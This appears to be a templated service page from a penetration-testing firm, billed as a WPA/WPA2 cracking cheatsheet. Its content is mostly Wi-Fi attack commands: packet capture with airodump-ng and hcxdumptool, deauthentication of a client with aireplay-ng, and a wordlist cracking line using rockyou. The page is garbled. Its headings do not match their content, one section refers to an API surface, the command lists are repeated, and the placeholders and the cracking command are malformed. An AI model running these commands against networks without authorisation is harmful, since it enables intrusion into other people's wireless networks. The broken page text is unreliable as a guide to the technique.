← Back
Offensive security assessments

WPA/WPA2 Cracking Cheatsheet

We validate this area during scoped assessments, documenting impact and remediation guidance.

Why it matters

sudo airodump-ng -c <CH --bssid <BSSID -w capture wlan0mon

How we test it

Our operators follow a structured checklist for this topic, adapted to your API surface and authentication model.

Testing approach

  • sudo aireplay-ng -0 5 -a <BSSID -c <CLIENTMAC wlan0mon
  • sudo hcxdumptool -i wlan0mon -o dump.pcapng
  • -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt

What we look for

  • sudo aireplay-ng -0 5 -a <BSSID -c <CLIENTMAC wlan0mon
  • sudo hcxdumptool -i wlan0mon -o dump.pcapng
  • -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt